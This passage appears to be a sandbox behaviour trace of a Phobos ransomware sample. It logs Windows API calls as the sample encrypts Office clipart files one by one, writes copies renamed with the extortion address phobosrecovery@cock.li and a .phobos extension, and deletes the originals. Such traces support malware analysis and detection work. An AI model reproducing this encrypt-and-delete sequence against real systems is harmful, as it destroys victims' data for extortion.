(hObject=0x2e8) returned 1 [0178.570] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0178.572] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0178.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.572] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2472) returned 1 [0178.572] CloseHandle (hObject=0x2e8) returned 1 [0178.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0178.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.572] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.573] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.573] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1850) returned 1 [0178.573] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.573] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x9a8, lpOverlapped=0x0) returned 1 [0178.616] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x9b0) returned 1 [0178.616] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x9b0, lpOverlapped=0x0) returned 1 [0178.759] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1890) returned 1 [0178.759] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.759] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0178.759] CryptDestroyKey (hKey=0x1d1890) returned 1 [0178.759] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0178.759] CryptDestroyKey (hKey=0x1d1850) returned 1 [0178.759] CloseHandle (hObject=0x2e8) returned 1 [0178.759] CloseHandle (hObject=0x2c4) returned 1 [0178.760] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0178.762] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0178.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.767] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1026) returned 1 [0178.847] CloseHandle (hObject=0x2c4) returned 1 [0178.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0178.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.848] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.848] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0178.848] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1550) returned 1 [0178.849] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.849] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x402, lpOverlapped=0x0) returned 1 [0178.864] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x410, dwBufLen=0x410 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x410) returned 1 [0178.865] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x410, lpOverlapped=0x0) returned 1 [0178.865] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1b10) returned 1 [0178.865] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.865] CryptEncrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0178.865] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0178.866] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0178.866] CryptDestroyKey (hKey=0x1d1550) returned 1 [0178.866] CloseHandle (hObject=0x2c4) returned 1 [0178.866] CloseHandle (hObject=0x2ec) returned 1 [0178.866] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0178.867] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0178.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0178.868] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1960) returned 1 [0178.868] CloseHandle (hObject=0x2ec) returned 1 [0178.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0178.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0178.868] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.868] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.869] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0178.869] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.869] ReadFile (in: hFile=0x2ec, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x7a8, lpOverlapped=0x0) returned 1 [0179.396] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x7b0, dwBufLen=0x7b0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x7b0) returned 1 [0179.396] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x7b0, lpOverlapped=0x0) returned 1 [0179.397] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1450) returned 1 [0179.397] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0179.397] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0179.397] CryptDestroyKey (hKey=0x1d1450) returned 1 [0179.397] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0179.397] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0179.397] CloseHandle (hObject=0x2ec) returned 1 [0179.397] CloseHandle (hObject=0x2c4) returned 1 [0179.397] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0179.399] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0179.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0179.399] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3016) returned 1 [0179.399] CloseHandle (hObject=0x2c4) returned 1 [0179.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0179.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0179.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0179.400] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0179.400] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0179.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0179.400] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b90) returned 1 [0179.400] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0179.400] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xbc8, lpOverlapped=0x0) returned 1 [0180.429] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xbd0) returned 1 [0180.429] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xbd0, lpOverlapped=0x0) returned 1 [0180.430] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d14d0) returned 1 [0180.430] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0180.430] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0180.430] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0180.430] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0180.430] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0180.430] CloseHandle (hObject=0x2c4) returned 1 [0180.430] CloseHandle (hObject=0x2ec) returned 1 [0180.430] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0180.432] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0180.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0180.433] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1528) returned 1 [0180.433] CloseHandle (hObject=0x2ec) returned 1 [0180.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0180.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0180.433] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0180.433] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0180.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0180.434] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1810) returned 1 [0180.434] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0180.434] ReadFile (in: hFile=0x2ec, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x5f8, lpOverlapped=0x0) returned 1 [0180.807] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x600, dwBufLen=0x600 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x600) returned 1 [0180.807] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x600, lpOverlapped=0x0) returned 1 [0180.808] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d14d0) returned 1 [0180.808] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0180.808] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0180.808] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0180.808] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0180.808] CryptDestroyKey (hKey=0x1d1810) returned 1 [0180.808] CloseHandle (hObject=0x2ec) returned 1 [0180.808] CloseHandle (hObject=0x2c4) returned 1 [0180.808] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0180.810] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0180.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0180.810] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=818) returned 1 [0180.810] CloseHandle (hObject=0x2c4) returned 1 [0180.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0180.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0180.810] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0180.811] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0180.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" 